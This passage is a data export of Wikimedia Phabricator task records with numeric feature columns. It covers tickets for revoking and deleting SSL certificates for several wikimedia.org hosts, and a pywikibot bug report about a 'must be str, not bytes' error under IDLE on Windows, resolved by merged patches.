 so this is intended to include that and the other steps, i will strike out what i have done. ",Needs Triage,90.0,1425943590,1426093996.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-nyjfnvmn3evtuishqhgb,task_description,resolved,True,c3,1,True,False,True,-17,True,0.0,0.0,0.0,1.5,0.0,3.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,2.0,8.5,0.0,2.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,0.0,3.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,13.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,3.0,0.0,2.0,8.5,0.0,0.0,0.0,0.0,4.5,1.0,1.0,0.0,4.0,8.5,4.0,0.0,1.5,0.0,4.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,3.8916666666666666,0.725,"this is a ticket to revoke the SSL cert:

etherpad.wikimedia.org

- revoke with the CA / vendor
- ~~delete cert from public repo~~ URL
- ~~delete the matching .key from private repo~~ done by dzahn
- ~~rm/shred cert and key on servers it is installed on~~ done by dzahn

(once RobH commented on URL

""anytime we delete a certificate, please make an independent core-ops ticket to invalidate the certificate on the provider level, and assign said ticket to me."") 

 so this is intended to include that and the other steps, i will strike out what i have done. "
424623,revoke / delete etherpad.wikimedia.org SSL cert,confirmed cert revoked from rapidssl.  resolving task.,,,1426093996,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-nyjfnvmn3evtuishqhgb,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.8,0.9,confirmed cert revoked from rapidssl.  resolving task.
424578,revoke / delete etherpad.wikimedia.org SSL cert,"Change 195303 merged by Dzahn:
delete etherpad SSL cert

[[https://gerrit.wikimedia.org/r/195303]]",,,1426090033,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nyjfnvmn3evtuishqhgb,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.764705882352941,0.8823529411764706,"Change 195303 merged by Dzahn:
delete etherpad SSL cert

[[GERRIT_URL]]"
423518,revoke / delete etherpad.wikimedia.org SSL cert,"Change 195303 had a related patch set uploaded (by Dzahn):
delete etherpad SSL cert

[[https://gerrit.wikimedia.org/r/195303]]
",,,1425943758,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nyjfnvmn3evtuishqhgb,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.6666666666666665,0.875,"Change 195303 had a related patch set uploaded (by Dzahn):
delete etherpad SSL cert

[[GERRIT_URL]]
"
92041,revoke/delete bugzilla ssl certs,"this is a ticket to revoke the SSL cert:

bugzilla.wikimedia.org
bug-attachment.wikimedia.org

- revoke with the CA / vendor
- ~~delete cert from public repo~~ https://gerrit.wikimedia.org/r/#/c/195307/ , https://gerrit.wikimedia.org/r/#/c/195804/
- ~~delete the matching .key from private repo~~ done by dzahn
- ~~rm/shred cert and key on servers it is installed on~~ done by dzahn

(once RobH commented on https://gerrit.wikimedia.org/r/#/c/164001/

""anytime we delete a certificate, please make an independent core-ops ticket to invalidate the certificate on the provider level, and assign said ticket to me."") 

 so this is intended to include that and the other steps, i will strike out what i have done. ",Needs Triage,90.0,1425943168,1426094541.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-obn6jccjdmq62xb6va4c,task_description,resolved,True,c3,1,True,False,True,-17,True,0.0,0.0,0.0,1.5,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.5,8.5,0.0,2.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,1.0,0.0,3.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,14.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,3.5,0.0,2.0,8.0,0.0,0.0,0.0,0.0,3.5,1.0,1.0,0.0,3.5,8.5,4.5,0.0,1.5,0.0,3.5,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,4.032258064516129,0.717741935483871,"this is a ticket to revoke the SSL cert:

bugzilla.wikimedia.org
bug-attachment.wikimedia.org

- revoke with the CA / vendor
- ~~delete cert from public repo~~ URL , URL
- ~~delete the matching .key from private repo~~ done by dzahn
- ~~rm/shred cert and key on servers it is installed on~~ done by dzahn

(once RobH commented on URL

""anytime we delete a certificate, please make an independent core-ops ticket to invalidate the certificate on the provider level, and assign said ticket to me."") 

 so this is intended to include that and the other steps, i will strike out what i have done. "
424630,revoke/delete bugzilla ssl certs,"certs revoked from rapidssl: bugzilla.wikimedia.org
bug-attachment.wikimedia.org

resolving task",,,1426094541,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-obn6jccjdmq62xb6va4c,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,8.272727272727273,1.0,"certs revoked from rapidssl: bugzilla.wikimedia.org
bug-attachment.wikimedia.org

resolving task"
92021,revoke/delete SSL cert techblog.wikimedia.org,"this is a ticket to revoke the SSL cert:

techblog.wikimedia.org

- revoke with the CA / vendor
- ~~delete cert from public repo~~ (done, https://gerrit.wikimedia.org/r/#/c/195308/)
- ~~delete the matching .key from private repo~~ (done by dzahn)
- ~~rm/shred cert and key on servers it is installed on~~ (server was already gone)

(once RobH commented on https://gerrit.wikimedia.org/r/#/c/164001/

""anytime we delete a certificate, please make an independent core-ops ticket to invalidate the certificate on the provider level, and assign said ticket to me."") 

 so this is intended to include that and the other steps, i will strike out what i have done. ",Needs Triage,90.0,1425936734,1426097336.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-5nf526l6xjdlkrkb3el5,task_description,resolved,True,c3,1,True,False,True,-17,True,0.0,0.0,0.0,2.0,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,7.5,0.0,2.0,0.0,0.0,0.5,2.0,0.5,0.0,0.0,0.0,1.0,0.0,3.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,6.0,2.5,3.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,3.5,7.5,4.5,0.0,1.5,0.0,3.5,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,3.796875,0.734375,"this is a ticket to revoke the SSL cert:

techblog.wikimedia.org

- revoke with the CA / vendor
- ~~delete cert from public repo~~ (done, URL
- ~~delete the matching .key from private repo~~ (done by dzahn)
- ~~rm/shred cert and key on servers it is installed on~~ (server was already gone)

(once RobH commented on URL

""anytime we delete a certificate, please make an independent core-ops ticket to invalidate the certificate on the provider level, and assign said ticket to me."") 

 so this is intended to include that and the other steps, i will strike out what i have done. "
424689,revoke/delete SSL cert techblog.wikimedia.org,techblog.wikimedia.org certificate revoked from rapidssl,,,1426097336,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-5nf526l6xjdlkrkb3el5,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.4,1.0,techblog.wikimedia.org certificate revoked from rapidssl
423421,revoke/delete SSL cert techblog.wikimedia.org,"Change 195308 merged by Dzahn:
delete techblog.wm blog SSL cert

[[https://gerrit.wikimedia.org/r/195308]]",,,1425936941,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5nf526l6xjdlkrkb3el5,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.9444444444444446,0.8888888888888888,"Change 195308 merged by Dzahn:
delete techblog.wm blog SSL cert

[[GERRIT_URL]]"
423417,revoke/delete SSL cert techblog.wikimedia.org,"Change 195308 had a related patch set uploaded (by Dzahn):
delete techblog.wm blog SSL cert

[[https://gerrit.wikimedia.org/r/195308]]
",,,1425936774,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5nf526l6xjdlkrkb3el5,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.8,0.88,"Change 195308 had a related patch set uploaded (by Dzahn):
delete techblog.wm blog SSL cert

[[GERRIT_URL]]
"
91921,"Can't login. TypeError: must be str, not bytes.","Python 3.4.3 win32 while using IDLE and an up-to-date version of pywikibot:
```
>>> import pywikibot as pwb
>>> pwb.Site('fa').login()
Traceback (most recent call last):
  File ""<pyshell#1>"", line 1, in <module>
    pwb.Site('fa').login()
  File ""E:\core\pywikibot\site.py"", line 1676, in login
    if loginMan.login(retry=True):
  File ""E:\core\pywikibot\login.py"", line 232, in login
    password=True)
  File ""E:\core\pywikibot\bot.py"", line 540, in input
    data = ui.input(question, password)
  File ""E:\core\pywikibot\userinterfaces\terminal_interface_base.py"", line 212, in input
    self.output(question + ' ')
  File ""E:\core\pywikibot\userinterfaces\terminal_interface_base.py"", line 191, in output
    self._print(text, targetStream)
  File ""E:\core\pywikibot\userinterfaces\terminal_interface_base.py"", line 132, in _print
    self.printColorized(text, targetStream)
  File ""E:\core\pywikibot\userinterfaces\terminal_interface_win32.py"", line 91, in printColorized
    targetStream.write(text.encode(self.encoding, 'replace'))
  File ""C:\Python34\lib\idlelib\PyShell.py"", line 1344, in write
    raise TypeError('must be str, not ' + type(s).__name__)
TypeError: must be str, not bytes
>>> 
```",Needs Triage,90.0,1425790237,1430608308.0,PHID-USER-6kchhu3kcxl7qwdhhfpd,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_description,resolved,True,c3,1,False,False,True,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.1739130434782608,0.8260869565217391,"Python 3.4.3 win32 while using IDLE and an up-to-date version of pywikibot:
``CODE``"
452938,"Can't login. TypeError: must be str, not bytes.",Appears to be resolved.,,,1430608308,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,True,,,-9,True,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Appears to be resolved.
422908,"Can't login. TypeError: must be str, not bytes.",Okay both patches have been merged… We'll see if now other Windows users without IDLE complain. By the way you don't need to be sorry ;) mistakes happen and in the end it worked \o/,,,1425839646,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,3.0,3.0,5.0,3.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,5.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,13.0,3.0,3.0,8.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,8.0,13.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.769230769230769,0.9743589743589743,Okay both patches have been merged… We'll see if now other Windows users without IDLE complain. By the way you don't need to be sorry ;) mistakes happen and in the end it worked \o/
422901,"Can't login. TypeError: must be str, not bytes.","Change 195086 merged by jenkins-bot:
[FIX] Win32 UI: Don't encode in Python 3

[[https://gerrit.wikimedia.org/r/195086]]",,,1425836874,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,3.037037037037037,0.8148148148148148,"Change 195086 merged by jenkins-bot:
[FIX] Win32 UI: Don't encode in Python 3

[[GERRIT_URL]]"
422882,"Can't login. TypeError: must be str, not bytes.","I don't know, probably my mistake in applying the patch. Sorry about that. Anyway I reapplied both of your patches and now everything is OK. Both log-in and page saving were done without a single error. Thanks XZise!",,,1425829551,,PHID-USER-6kchhu3kcxl7qwdhhfpd,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,False,,,-17,True,0.0,2.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,6.0,0.0,9.0,11.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,17.0,0.0,4.0,11.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,9.0,11.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8085106382978724,0.8723404255319149,"I don't know, probably my mistake in applying the patch. Sorry about that. Anyway I reapplied both of your patches and now everything is OK. Both log-in and page saving were done without a single error. Thanks XZise!"
422876,"Can't login. TypeError: must be str, not bytes.","This seems like the exact same error message. But I'm confused, line 99 in `pywikibot.userinterfaces.terminal_interface_win32` does not have the line shown in the stack trace. Neither in the most current version or one of the revisions of my patch.

By the way https://gerrit.wikimedia.org/r/195089 might fix the message with the UnsupportedOperation error (which afaik unrelated to the warning above. Unfortunately can't really test it :(",,,1425828173,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,5.0,1.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,5.0,12.0,3.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.1506849315068495,0.7671232876712328,"This seems like the exact same error message. But I'm confused, line 99 in CODE does not have the line shown in the stack trace. Neither in the most current version or one of the revisions of my patch.

By the way GERRIT_URL might fix the message with the UnsupportedOperation error (which afaik unrelated to the warning above. Unfortunately can't really test it :("
422874,"Can't login. TypeError: must be str, not bytes.","Sorry, It seems that I missed this -- seemingly related -- exception when importing pywikibot:

```
>>> import sys
>>> sys.path.append('c:/core')
>>> import pywikibot as pwb
WARNING: Running on Windows and transliteration_target is not set.
Please see https://www.mediawiki.org/wiki/Special:MyLanguage/Manual:Pywikibot/Windows
exception UnsupportedOperation('fileno',) while fixing up sys.stdout and sys.stderr
```

@Sitic: It works fine in command prompt.

@XZise: I applied the patch and now it logs in successfully. But still got the following error when trying to save a test edit:

```
>>> p= pwb.Page(pwb.Site('fa'), 'ویکی‌پدیا:صفحه تمرین')
>>> p.put('تمرين', ' ')
Page [[fa:وyکy‌پدyا:صفحه تمرyن]] saved
Traceback (most recent call last):
  File ""<pyshell#12>"", line 1, in <module>
    p.put('تمرين', ' ')
  File ""c:/core\pywikibot\page.py"", line 1117, in put
    **kwargs)
  File ""c:/core\pywikibot\tools\__init__.py"", line 930, in wrapper
    return obj(*__args, **__kw)
  File ""c:/core\pywikibot\page.py"", line 1036, in save
    **kwargs)
  File ""c:/core\pywikibot\page.py"", line 1052, in _save
    pywikibot.output(u""Page %s saved"" % link)
  File ""c:/core\pywikibot\bot.py"", line 457, in output
    logoutput(text, decoder, newline, INFO, **kwargs)
  File ""c:/core\pywikibot\bot.py"", line 427, in logoutput
    logger.log(_level, text, extra=context, **kwargs)
  File ""C:\Python34\lib\logging\__init__.py"", line 1341, in log
    self._log(level, msg, args, **kwargs)
  File ""C:\Python34\lib\logging\__init__.py"", line 1409, in _log
    self.handle(record)
  File ""C:\Python34\lib\logging\__init__.py"", line 1419, in handle
    self.callHandlers(record)
  File ""C:\Python34\lib\logging\__init__.py"", line 1481, in callHandlers
    hdlr.handle(record)
  File ""C:\Python34\lib\logging\__init__.py"", line 853, in handle
    self.emit(record)
  File ""c:/core\pywikibot\userinterfaces\terminal_interface_base.py"", line 434, in emit
    return self.UI.output(text, targetStream=self.stream)
  File ""c:/core\pywikibot\userinterfaces\terminal_interface_base.py"", line 191, in output
    self._print(text, targetStream)
  File ""c:/core\pywikibot\userinterfaces\terminal_interface_base.py"", line 132, in _print
    self.printColorized(text, targetStream)
  File ""c:/core\pywikibot\userinterfaces\terminal_interface_win32.py"", line 99, in printColorized
    targetStream.write(text.encode(self.encoding, 'replace'))
  File ""C:\Python34\lib\idlelib\PyShell.py"", line 1344, in write
    raise TypeError('must be str, not ' + type(s).__name__)
TypeError: must be str, not bytes
>>> 
```
(Although the edit was saved.)
Should I open another task for that?",,,1425828036,,PHID-USER-6kchhu3kcxl7qwdhhfpd,False,,,PHID-TASK-7azo4dy2yi6zy3jn4jpz,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,7.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,17.0,7.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,7.0,0.0,2.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8536585365853657,0.8292682926829268,"Sorry, It seems that I missed this -- seemingly related -- exception when importing pywikibot:

``CODE`CODE`CODE``
(Although the edit was saved.)
Should I open another task for that?"
422872,"Can't login. TypeError: must be str, not bytes.","Sorry, It seems that I missed this -- seemingly related -- warning message when importing pywikibot:

```
>>> import sys
>>> sys.path.append('c:/core')
>>> import pywikibot as pwb
WARNING: Running on Windows and transliteration_target is not set.
Please see https://www.mediawiki.org/wiki/Special:MyLanguage/Manual:Pywikibot/Windows
exception UnsupportedOperation('fileno',) while fixing up sys.stdout and sys.stderr
```

@Sitic: It works fine in command prompt.

@XZise: I applied the patch and now it logs in successfully. But still got the following error when trying to save a test edit:

```
>>> p= pwb.Page(pwb.Site('fa'), 'ویکی‌پدیا:صفحه تمرین')
>>> p.put('تمرين', ' ')
Page [[fa:وyکy‌پدyا:صفحه تمرyن]] saved
Traceback (most recent call last):
  File ""<pyshell#12>"", line 1, in <module>
    p.put('تمرين', ' ')
  File ""c:/core\pywikibot\page.py"", line 1117, in put
    **kwargs)
  File ""c:/core\pywikibot\tools\__init__.py"", line 930, in wrapper
    return obj(*__args, **__kw)
  File ""c:/core\pywikibot\page.py"", line 1036, in save
    **kwargs)
  File ""c:/core\pywikibot\page.py"", line 1052, in _save
    pywikibot.output(u""Page %s saved"" % link)
  File ""c:/core\pywikibot\bot.py"", line 457, in output
    logoutput(text, decoder, newline, INFO, **kwargs)
  File ""c:/core\pywikibot\bot.py"", line 427, in logoutput
    logger.log(_level, text, extra=context, **kwargs)
  File ""C:\Python34\lib\logging\__init__.py"", line 1341, in log
    self._log(level, msg, args, **kwargs)
  File ""C:\Python34\lib\logging\__init__.py"", line 1409, in _log
    self.handle(record)
  File ""C:\Python34\lib\logging\__init__.py"", line 1419, in handle
    self.callHandlers(record)
  File ""C:\Python34\lib\logging\__init__.py"", line 1481, in callHandlers
    hdlr.handle(record)
  File ""C:\Python34\lib\logging\__init__.py"", line 853, in handle
    self.emit(record)
  File ""c:/core\pywikibot\userinterfaces\terminal_interface_base.py"", line 434, in emit
    return self.UI.output(text, targetStream=self.stream)
  File ""c:/core\pywikibot\userinterfaces\terminal_interface_base.py"", line 191, in output
    self._print(text, targetStream)
  File ""c:/core\pywikibot\userinterfaces\terminal_interface_base.py"", line 132, in _print
    self.printColorized(text, targetStream)
  File ""c:/core\pywikibot\userinterfaces\terminal_interface_win32.py"", line 99, in printColorized
    targetStream.write(text.encode(self.encoding, 'replace'))
  File ""C:\Python34\lib\idlelib\PyShell.py"", line 1344, in write
    raise TypeError('must be str, not ' + type(s).__name__)
TypeError: must be str, not bytes
>>> 
```
(Although the edit was saved.)
